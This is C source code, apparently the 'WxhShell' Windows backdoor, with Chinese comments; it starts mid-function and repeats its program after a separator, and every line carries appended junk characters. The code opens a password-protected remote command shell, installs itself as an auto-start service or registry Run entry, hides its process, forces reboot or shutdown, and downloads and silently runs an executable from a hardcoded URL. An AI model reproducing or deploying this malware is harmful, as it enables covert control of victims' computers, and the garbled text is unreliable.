    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &5Huv?^a'  
    if(Boot(SHUTDOWN)) Qn`Fq,uvL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\ ) ~9?  
    else { p_qJI@u8  
    closesocket(wsh); +t*Ks_V,*  
    ExitThread(0); :NXM.@jJ="  
    } LIfYpn6  
    break; (}MN16!  
    } {J]x81}*;  
  // 获取shell -P We  
  case 's': { \pVWYx  
    CmdShell(wsh); x"{WLZ   
    closesocket(wsh); NH;.!x q:  
    ExitThread(0);  TgvBy  
    break; O9R[F  
  } ObSRd$M  
  // 退出 tVhf1TH#  
  case 'x': { tlcNGPa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %>E M ^Z  
    CloseIt(wsh); 1hW"#>f7  
    break; #?fKi$fS;L  
    } }S6"$R  
  // 离开 HB, k}Q  
  case 'q': { L% `lC]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' ;3#t(J;  
    closesocket(wsh); +|zcjI'=O  
    WSACleanup(); )GR4U8<>g  
    exit(1); >WmT M0  
    break; I:edLg1T  
        } mH /9J  
  } maVfLVx-  
  } Zx 5Ue#I  
=> X"  
  // 提示信息 Q<T+t0G\O-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BMYvxSsm  
} J1"16Uu  
  } @3Gr2/a  
l'twy$V4|~  
  return; 5LzP0F U  
} +{au$v}  
Z!2%{HQ=q  
// shell模块句柄 4x"9Wr=}  
int CmdShell(SOCKET sock) IM=3n%6  
{ x`JhNAO>  
STARTUPINFO si; XB;C~:  
ZeroMemory(&si,sizeof(si)); >8.o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DE!c+s_g4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dzs(sM=  
PROCESS_INFORMATION ProcessInfo; FgnPh%[u  
char cmdline[]="cmd"; _m*FHi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4~~G i`XE  
  return 0; EGxCNB  
} >b2wFo/em  
$d5}OI"g  
// 自身启动模式 5F$~ZDu  
int StartFromService(void) pB'{_{8aA  
{ 0bl8J5Ar5  
typedef struct 8 t`lRWJ  
{ og`K! d~  
  DWORD ExitStatus; d[`vd^hI  
  DWORD PebBaseAddress;  i)= \-C  
  DWORD AffinityMask; ^T*'B-`C7X  
  DWORD BasePriority; x Tf|u  
  ULONG UniqueProcessId; (D2N_l(`<  
  ULONG InheritedFromUniqueProcessId; [Zne19/  
}   PROCESS_BASIC_INFORMATION; Ni>!b6 Z`[  
5+[ 3@  
PROCNTQSIP NtQueryInformationProcess; /wU4^8Hz  
+;bP.[Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7x#."6>Dy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WB5M ![  
p(. z#o#  
  HANDLE             hProcess; J~|:Q.Rt`  
  PROCESS_BASIC_INFORMATION pbi; -lS(W^r4  
%r]V:d+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?H!QV;ku  
  if(NULL == hInst ) return 0; @:t2mz:^i  
S|r,RBeZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RC!9@H5S#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Kl;(0B9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ''H;/&nDX  
D[dI_|59a  
  if (!NtQueryInformationProcess) return 0; ?g4S51zpp  
4 }NCdGD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rA /T>ZM  
  if(!hProcess) return 0; YI?tmqzt  
sp6A* mwl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I ;F\'P)e  
)yUSuK(Vu  
  CloseHandle(hProcess); La$?/\Dv)  
;%Kh~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Aqo[']  
if(hProcess==NULL) return 0; ~uu{ v')  
L:7 kp<E  
HMODULE hMod; <3laNk  
char procName[255]; APyH.]mQ  
unsigned long cbNeeded; 2}rYH;Mx  
}pKKNZ`[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q2"K!u]  
~cSE 9ul  
  CloseHandle(hProcess); <=%=,Yk  
$:D\yZ,  
if(strstr(procName,"services")) return 1; // 以服务启动 7*>,BhF#  
WmuYHEU  
  return 0; // 注册表启动 "EnxVV  
} XA\wZV |{  
oj[<{/,C9  
// 主模块 0zE(:K  
int StartWxhshell(LPSTR lpCmdLine) ^e--4B9|  
{ |eqp3@Y1E  
  SOCKET wsl; uQg&]bSv  
BOOL val=TRUE; \7G.anY  
  int port=0; 0+NGFX \p  
  struct sockaddr_in door; " f.9u  
{dwlW`{  
  if(wscfg.ws_autoins) Install(); B1TWOl?d{  
QObHW[:F  
port=atoi(lpCmdLine); x!fgZr{  
@zT2!C?^L  
if(port<=0) port=wscfg.ws_port; gw<u dhk  
i4m P*RwC  
  WSADATA data; D&1(qi=x&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [`' K.-?#  
36}&{A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tNljv >vI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j:U6q,f]  
  door.sin_family = AF_INET; :A5h<=[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8zQN[[#n  
  door.sin_port = htons(port); @4$la'XSx  
0P;\ :-&p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TPmb]j  
closesocket(wsl); ut.tf \c  
return 1; sLf~o" yb  
} ]3uj~la  
G4uA&"OE  
  if(listen(wsl,2) == INVALID_SOCKET) { gSkY c{b  
closesocket(wsl); ,,G'Zur7  
return 1; );{76  
} S7b7zJ8A  
  Wxhshell(wsl); OV`li#H  
  WSACleanup(); t?Q  
goc; .~?  
return 0; zN/nKj: Q  
AsR}qqG  
} izR#XeBm  
%`lLX/4~  
// 以NT服务方式启动 zEDN^K '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `:Zgq+j&  
{ 9&{HD  
DWORD   status = 0; v.c.5@%%o  
  DWORD   specificError = 0xfffffff; y w:=$e5  
AJ z 1    
  serviceStatus.dwServiceType     = SERVICE_WIN32; tg7QX/KX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0@&/W-VXg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q s iV  
  serviceStatus.dwWin32ExitCode     = 0; =KHX_ib  
  serviceStatus.dwServiceSpecificExitCode = 0; #wJ^:r-c`  
  serviceStatus.dwCheckPoint       = 0; izLB4pk$  
  serviceStatus.dwWaitHint       = 0; |][PbN D  
E5\>mf ,;u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !w/]V{9`X  
  if (hServiceStatusHandle==0) return; Yn>FSq^Wp-  
#4V->I  
status = GetLastError(); @]L$eOV_  
  if (status!=NO_ERROR) /sSM<r]5j  
{ n!U1cB{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I_|W'%N]  
    serviceStatus.dwCheckPoint       = 0; QT4vjz+|  
    serviceStatus.dwWaitHint       = 0; ,My'_"S?  
    serviceStatus.dwWin32ExitCode     = status; ? 8)k6:  
    serviceStatus.dwServiceSpecificExitCode = specificError; F <{k~   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SVPksr  
    return; <3x:nH @  
  } h<7@3Ur  
:wfN+g=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O7p=|F"  
  serviceStatus.dwCheckPoint       = 0; RY\ 0dv>  
  serviceStatus.dwWaitHint       = 0; =FQH5iSd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /< Dtu UM  
} wdIJ?\/763  
9TEAM<b;  
// 处理NT服务事件,比如:启动、停止 bL|$\'S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TXqtE("BDl  
{ rpEN\S%7P  
switch(fdwControl) lInf,Q7W  
{ 3!8u  
case SERVICE_CONTROL_STOP: $5DlCN  
  serviceStatus.dwWin32ExitCode = 0; M2nUY`%#v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w`atk=K  
  serviceStatus.dwCheckPoint   = 0; *P?Rucg  
  serviceStatus.dwWaitHint     = 0; mNJCV8 <  
  { 6UU<:KH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0JW =RW  
  } u.}H)wt  
  return; <(1[n pS&+  
case SERVICE_CONTROL_PAUSE: 3teP6|K'g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xdMY2u  
  break; z7pw~Tqlz  
case SERVICE_CONTROL_CONTINUE: eKRE1DK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; biRkq c;  
  break; ADA}_|O  
case SERVICE_CONTROL_INTERROGATE: W9S6 SO^\  
  break; .u]d5z BR  
}; (/ -90u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sYB2{w   
} "oh ;?gQ.  
)!FheoR  
// 标准应用程序主函数 y s[z[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) znAo]F9=J"  
{ 9}+X#ma.Nc  
27MwZz  
// 获取操作系统版本 bnH:|-?q  
OsIsNt=GetOsVer(); |<%v`*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D#[<N  
s%G%s,d  
  // 从命令行安装 5=1Ml50  
  if(strpbrk(lpCmdLine,"iI")) Install(); w Ju9.  
z}Um$'. =  
  // 下载执行文件 A.(e=;0bu  
if(wscfg.ws_downexe) { p[}~Z|(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ao\Im(?  
  WinExec(wscfg.ws_filenam,SW_HIDE); B?4Iu)bCxI  
} .etG>tH  
yTf/]H]d  
if(!OsIsNt) { vi` VK&+r  
// 如果时win9x,隐藏进程并且设置为注册表启动 J|([(  
HideProc(); H%0WD_  
StartWxhshell(lpCmdLine); yi2F#o 'K  
} N|/gwcKe  
else E@-5L9eJ\  
  if(StartFromService()) gw$?&[wY  
  // 以服务方式启动 arvKJmD  
  StartServiceCtrlDispatcher(DispatchTable); }/ Qj8l.  
else ]1M Z:]k  
  // 普通方式启动 0D0uzUD-  
  StartWxhshell(lpCmdLine); u"8KH u5C@  
#VxN [770  
return 0; lUw=YM  
}  IuMJ-"  
7Rn 4gT  
6=S z5MC  
&AVX03P  
=========================================== # hw;aQ  
"*:?m{w5  
.vd*~U"  
YD0j&@.  
OyG2Ks"H  
 )|W6Z  
" uH#X:Vne  
<v?2p{U%  
#include <stdio.h> y2R\SL,  
#include <string.h> H|/"'t OZ  
#include <windows.h> VO /b&%  
#include <winsock2.h> g+Y &rz  
#include <winsvc.h> a6?t?: ~|  
#include <urlmon.h> n*caP9B  
V(Cxd.u   
#pragma comment (lib, "Ws2_32.lib") |hX\ep   
#pragma comment (lib, "urlmon.lib") R7c42L\QA  
D`U,T& @  
#define MAX_USER   100 // 最大客户端连接数 e}(8BF  
#define BUF_SOCK   200 // sock buffer ,l.+$G  
#define KEY_BUFF   255 // 输入 buffer 9%riB/vkrF  
S'`RP2P  
#define REBOOT     0   // 重启 ,rOh*ebF  
#define SHUTDOWN   1   // 关机 h?vny->uJ  
<- R%  
#define DEF_PORT   5000 // 监听端口 'C@yJf  
%BQ?DTtb7'  
#define REG_LEN     16   // 注册表键长度 Z A}!Rzo  
#define SVC_LEN     80   // NT服务名长度 i8%Z(@_`  
<[=[|DS l  
// 从dll定义API 8C*xrg#g:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sXYXBX[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5C9 .h:c4y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "]q0|ZdOwH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z?GtC{L9  
'a$/ !~X  
// wxhshell配置信息 |)mUO:*  
struct WSCFG { M0hR]4T  
  int ws_port;         // 监听端口 g!i45]6[Nw  
  char ws_passstr[REG_LEN]; // 口令 Z% ]LZ/O8  
  int ws_autoins;       // 安装标记, 1=yes 0=no w^:@g~  
  char ws_regname[REG_LEN]; // 注册表键名 5i'KGL  
  char ws_svcname[REG_LEN]; // 服务名 e0IGx]5i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QBA{*@ A-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z{2QDjAI;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,+x\NY2d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hl2|Ec  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @KJmNM1]V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3wQ\L=  
;CuL1N#I  
}; G]dHYxG  
e~nh95  
// default Wxhshell configuration 0*j\i@  
struct WSCFG wscfg={DEF_PORT, 3f:]*U+O  
    "xuhuanlingzhe", '1d0 *5+6k  
    1, Hi U/fi`  
    "Wxhshell", #v4^,$k>  
    "Wxhshell", cW ?6Iao  
            "WxhShell Service", To-$)GQ@W  
    "Wrsky Windows CmdShell Service", #IeG/t(  
    "Please Input Your Password: ", \*pS 4vy5x  
  1, ClufP6'  
  "http://www.wrsky.com/wxhshell.exe", ^c"\%!w"O  
  "Wxhshell.exe" Psm9hP :m  
    }; rLbFaLeQ  
AP9\]qZ(7  
// 消息定义模块 m"o=R\C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RK_z!%(P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j`_Z`eG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5nK|0vv%2  
char *msg_ws_ext="\n\rExit."; 89W8cJ$yW  
char *msg_ws_end="\n\rQuit."; >n1UK5QD  
char *msg_ws_boot="\n\rReboot..."; |=W>4>  
char *msg_ws_poff="\n\rShutdown..."; [P]M)vJ**  
char *msg_ws_down="\n\rSave to "; Q[lkhx|.B  
c~6ywuq+M`  
char *msg_ws_err="\n\rErr!"; I,V'J|=j  
char *msg_ws_ok="\n\rOK!"; bHzZ4i  
"AIS6%,  
char ExeFile[MAX_PATH]; d8WEsQ+)A  
int nUser = 0; & fnfuU$   
HANDLE handles[MAX_USER]; |r4&@)  
int OsIsNt; ,pW^>J  
VotI5O $  
SERVICE_STATUS       serviceStatus; \;+b1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (D+%*ax  
S Z &[o&H  
// 函数声明 5^Lbc.h  
int Install(void); ]agdVr^  
int Uninstall(void); k;.<DN  
int DownloadFile(char *sURL, SOCKET wsh); UYpln[S  
int Boot(int flag); VD{_6  
void HideProc(void); SQk5SP  
int GetOsVer(void); z] |Y   
int Wxhshell(SOCKET wsl); zj=F4]w  
void TalkWithClient(void *cs); 'NnmLM(oh  
int CmdShell(SOCKET sock); T n,Ifo3  
int StartFromService(void); Nt[&rO3s  
int StartWxhshell(LPSTR lpCmdLine); M F$NcU  
/|<0,ozoJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r?`7i'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jQ(%LYX$  
[Vou G{  
// 数据结构和表定义 x/ P\qI  
SERVICE_TABLE_ENTRY DispatchTable[] = D.h<!?E%  
{ ]`}EOS-Q  
{wscfg.ws_svcname, NTServiceMain}, sB01 QVx47  
{NULL, NULL} QFhQfn  
}; e XmYw^n  
^{g+HFTA@  
// 自我安装 |G)bnmi7  
int Install(void) |mz0 ]  
{ /jOug>s  
  char svExeFile[MAX_PATH]; =[Tf9u QY  
  HKEY key; <"S/M]9  
  strcpy(svExeFile,ExeFile); JZ-M<rcC  
> 'JWW*Y!  
// 如果是win9x系统,修改注册表设为自启动 k59.O~0V  
if(!OsIsNt) { >k u7{1)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IZ]L.0,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $U%N$_k?  
  RegCloseKey(key); .r@'9W^8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fXkemB^)_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GU)NZ[e  
  RegCloseKey(key); Q\$cBSJC1  
  return 0; "C+Fl /v  
    } ,E4qxZC(X  
  } o4&#,m+ :  
} 2V*<J:;wb  
else { yn{U/+  
' @j8tK  
// 如果是NT以上系统,安装为系统服务 oF0*X$_X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +L#):xr  
if (schSCManager!=0) 8SMa5a{  
{ oc&yz>%q  
  SC_HANDLE schService = CreateService @wXo{p@W  
  ( 6r)qM)97  
  schSCManager, 1;+(HB  
  wscfg.ws_svcname, R=HcSRTkA  
  wscfg.ws_svcdisp, vu)V:y  
  SERVICE_ALL_ACCESS, DFqVZ   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nZUBblRJ)  
  SERVICE_AUTO_START, h,'m*@Eg  
  SERVICE_ERROR_NORMAL, }sGH}n<9*  
  svExeFile, i(<do "Am<  
  NULL, 8f#&CC!L  
  NULL, 6z+*H7Qz  
  NULL, No)@#^  
  NULL, =7U 8`]WA  
  NULL $ZE"o`=7  
  ); :*lB86Ly  
  if (schService!=0) -Cf< #'x_  
  { YZ+<+`Mz<  
  CloseServiceHandle(schService); 4_?*@L1  
  CloseServiceHandle(schSCManager); HLDg_ On8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $RV'DQO  
  strcat(svExeFile,wscfg.ws_svcname); -ID!kZx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0CUUgwA /  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O7T wM Yh  
  RegCloseKey(key); Q,xKi|$r  
  return 0; ehls:)F  
    } )Y,>cg:z~  
  } ^2um.`8  
  CloseServiceHandle(schSCManager); `LCxxpHi|  
} _6Fj&mw(u  
} ^'aMp}3iu  
.;9I:YB$  
return 1; M7n|Z{?(  
} V9kL\Ys  
dg42K`E  
// 自我卸载 nc%ly *  
int Uninstall(void) c- ^\YSDMN  
{ K)t+lJ  
  HKEY key; }))JzrqAe  
To19=,:  
if(!OsIsNt) { m/W)IG>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }c*6|B@f  
  RegDeleteValue(key,wscfg.ws_regname); *HN0em  
  RegCloseKey(key); |(a< b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pUaGrdGxzQ  
  RegDeleteValue(key,wscfg.ws_regname); A ZYu/k  
  RegCloseKey(key); ySwvjP7f  
  return 0; H?axlRmw3  
  } 4]]1J L(Ka  
} DcQsdeuQ  
} 'y.'Xj:l  
else { #x|h@(y|  
NEh5    
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); co!#.  
if (schSCManager!=0) *.9.BD9  
{ X+T +y>e a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fhp][)g;  
  if (schService!=0) ~;0J 4hR  
  { w/HGmVa  
  if(DeleteService(schService)!=0) { `7zNVYur8  
  CloseServiceHandle(schService); /xRPQ|  
  CloseServiceHandle(schSCManager); `P<m`*  
  return 0; Yj^n4G(h  
  } ^g2p!7  
  CloseServiceHandle(schService); Q2[D|{Z  
  } !&D&Gs  
  CloseServiceHandle(schSCManager); wA<#E6^vG  
} niV=Ijt{5  
} fu95-)M  
29E9ZjSK  
return 1; NPM}w!  
} +LM /< l  
k%Q>lf<e   
// 从指定url下载文件 7$7Y)&\5 w  
int DownloadFile(char *sURL, SOCKET wsh) 1[vmK,N=E  
{ %vO b"K$X  
  HRESULT hr; w;(`!^xv  
char seps[]= "/"; qwU,D6  
char *token; TY3WP$u  
char *file; D'Gmua]I  
char myURL[MAX_PATH]; L.z`>1  
char myFILE[MAX_PATH]; ,#42ebGHR  
j6KGri  
strcpy(myURL,sURL); $z~sN  
  token=strtok(myURL,seps); f|1GlUA{t  
  while(token!=NULL) Svo gvn  
  { =MqefV;-  
    file=token; RvF6bIqo  
  token=strtok(NULL,seps); T.zU erbO  
  }  %Ln7{w  
Y|=/*?o}  
GetCurrentDirectory(MAX_PATH,myFILE); F? kW{,*  
strcat(myFILE, "\\"); |8b*BnS  
strcat(myFILE, file); e8@@Pi<sB  
  send(wsh,myFILE,strlen(myFILE),0); h@"dpmpe  
send(wsh,"...",3,0); dkC[Jt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); do9@6[{Sv  
  if(hr==S_OK) {%5tqF  
return 0; C{ {DZ*  
else L+PrV y  
return 1; 1wl8  
f`?Y+nu}  
} L s=2!  
ozbu|9 +v  
// 系统电源模块 v(\kSlJ  
int Boot(int flag) ^t=Hl  
{ mT8($KQ  
  HANDLE hToken; MeqW/!72$L  
  TOKEN_PRIVILEGES tkp; 6U k[_)1  
zR_#c3o  
  if(OsIsNt) { !tT$}?Ano  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D^Bd>Ey4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R)"Y 40nW  
    tkp.PrivilegeCount = 1; p-zWfXn!P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )IGE2k|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A|V |vT7cb  
if(flag==REBOOT) { hmOhXE[ a&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cZN+D D  
  return 0; P"%i 4-S  
} N&!qu r \  
else { WKFmU0RK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [g_Cg=J  
  return 0; Z_Ox'  
} O1Gd_wDC/i  
  } SB1\SNB  
  else { m Kwhd} V  
if(flag==REBOOT) { dQR2!yHEq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K4i#:7r'b  
  return 0; zlmb_akJ  
} sH(AsKiNKe  
else { >WMH.5p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kEtYuf^  
  return 0; 5r qjqfFa  
} yG5T;O&  
} "PBUyh-Z  
'g8~539{&  
return 1; SnRTC<DDh  
} i8w(G<Y=  
_^'fp  
// win9x进程隐藏模块 R ;^[4<&  
void HideProc(void) R/M:~h~F!  
{ ur-&- G^  
 yf!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <`sVu  
  if ( hKernel != NULL ) wxARD3%  
  { gOZ$rv^g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }'dnL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }> k9]Y  
    FreeLibrary(hKernel); 3_2(L"S2  
  } |,j6cFNw  
.!Kdi|a)  
return; h[%`'(  
} *usfJ-  
P@:#NU[  
// 获取操作系统版本 +I#5?  
int GetOsVer(void) KP7bU9odJ  
{ 2As 4}  
  OSVERSIONINFO winfo; W|3XD-v@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qtTys gv  
  GetVersionEx(&winfo); '8~7Ru\KyX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) . zv F!!z  
  return 1; Pv{ {zyc  
  else =*qu:f\y  
  return 0; -<a~kVv  
} SC`.VCfc.  
6pI =?g  
// 客户端句柄模块 B3u5EgZr  
int Wxhshell(SOCKET wsl) w*r.QzCu,5  
{ X~Uvh8O  
  SOCKET wsh; w-R>g dm  
  struct sockaddr_in client; q[Hx y  
  DWORD myID; l}%!&V0  
?@l9T)fF  
  while(nUser<MAX_USER) EXg\a#4['  
{ s,N%sO;  
  int nSize=sizeof(client); Qv,|*bf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D Y($  
  if(wsh==INVALID_SOCKET) return 1; ,)XT;iGQe  
Y:]~~-f\~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I@a7AuOw  
if(handles[nUser]==0) ZPn`.Qc  
  closesocket(wsh); ]v@#3,BV  
else x&tad+T  
  nUser++; ZrnZ7,!@  
  } X^#48*"a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R>Fie5?  
Q2PY( #  
  return 0; %xf6U>T  
} oJR0sbikP  
IP$^)t[  
// 关闭 socket ~" B0P>7  
void CloseIt(SOCKET wsh) xA#B1qbw  
{ 4hg]/X"H#  
closesocket(wsh); 3'O+  
nUser--; 5[esW  
ExitThread(0); !zwn Fdp  
} 7NRq5d(lP  
:#"gQ^YNp  
// 客户端请求句柄 /}r%DND'  
void TalkWithClient(void *cs) \y{Bnp5h  
{ 9M:wUYHT  
HQK%Y2S  
  SOCKET wsh=(SOCKET)cs; gAC}  
  char pwd[SVC_LEN]; !E,$@mvd  
  char cmd[KEY_BUFF]; B cd6 ~  
char chr[1]; g1JD8~a  
int i,j; BS>|M}G)r  
6DD^h:*>  
  while (nUser < MAX_USER) { 2BBGJE  
<g5Bt wo%  
if(wscfg.ws_passstr) { G6_Kid}"q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K7Kd{9-2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <)n1Z[4  
  //ZeroMemory(pwd,KEY_BUFF); Axhe9!Fm  
      i=0; }XWic88!~  
  while(i<SVC_LEN) { /}-]n81m  
9`i=kp  
  // 设置超时 s<H0ka@  
  fd_set FdRead; K& <|94_k  
  struct timeval TimeOut; ]y@9 z b  
  FD_ZERO(&FdRead); L{ ?& .iA  
  FD_SET(wsh,&FdRead); z9U<Z^4z+  
  TimeOut.tv_sec=8; Vc$x?=  
  TimeOut.tv_usec=0; _+N*4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ku*@4#<L6h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4\x'$G  
:Sk0?WU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rJ]iJ0[I  
  pwd=chr[0]; R8F[ 7&(  
  if(chr[0]==0xd || chr[0]==0xa) { Y2!OJuyGc  
  pwd=0; >,Zjlkh3  
  break; u^|XQWR$:  
  } @>B#2t&  
  i++; cBBc^SR  
    } /$'tO3  
1Z6<W~,1OM  
  // 如果是非法用户,关闭 socket "'p:M,:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nV,qC .z  
} =Bi>$Ly  
]8*g%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +'2Mj|d@p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $SRpFz5y$  
] NL-)8u  
while(1) { GN?^7kI  
f}0(qN/G  
  ZeroMemory(cmd,KEY_BUFF); d3_aFs Q  
9e^[5D=L  
      // 自动支持客户端 telnet标准   f%` =>l  
  j=0; )&+j#:  
  while(j<KEY_BUFF) { UGj!I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZK1d3  
  cmd[j]=chr[0]; r@f8-!{s2h  
  if(chr[0]==0xa || chr[0]==0xd) { >y"W(  
  cmd[j]=0; q|b#=Af]g  
  break; '}e_8 FS  
  } m"<0sqD;  
  j++; >K1)XP  
    } RmY5/IYR|:  
b %L8mX  
  // 下载文件 TDs=VTd@Z  
  if(strstr(cmd,"http://")) { B/:q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I!dA{INN  
  if(DownloadFile(cmd,wsh)) CO%7^}xSE,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL_YT.(!  
  else T=(/n=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t,M _  
  } 0#<q]M?hW  
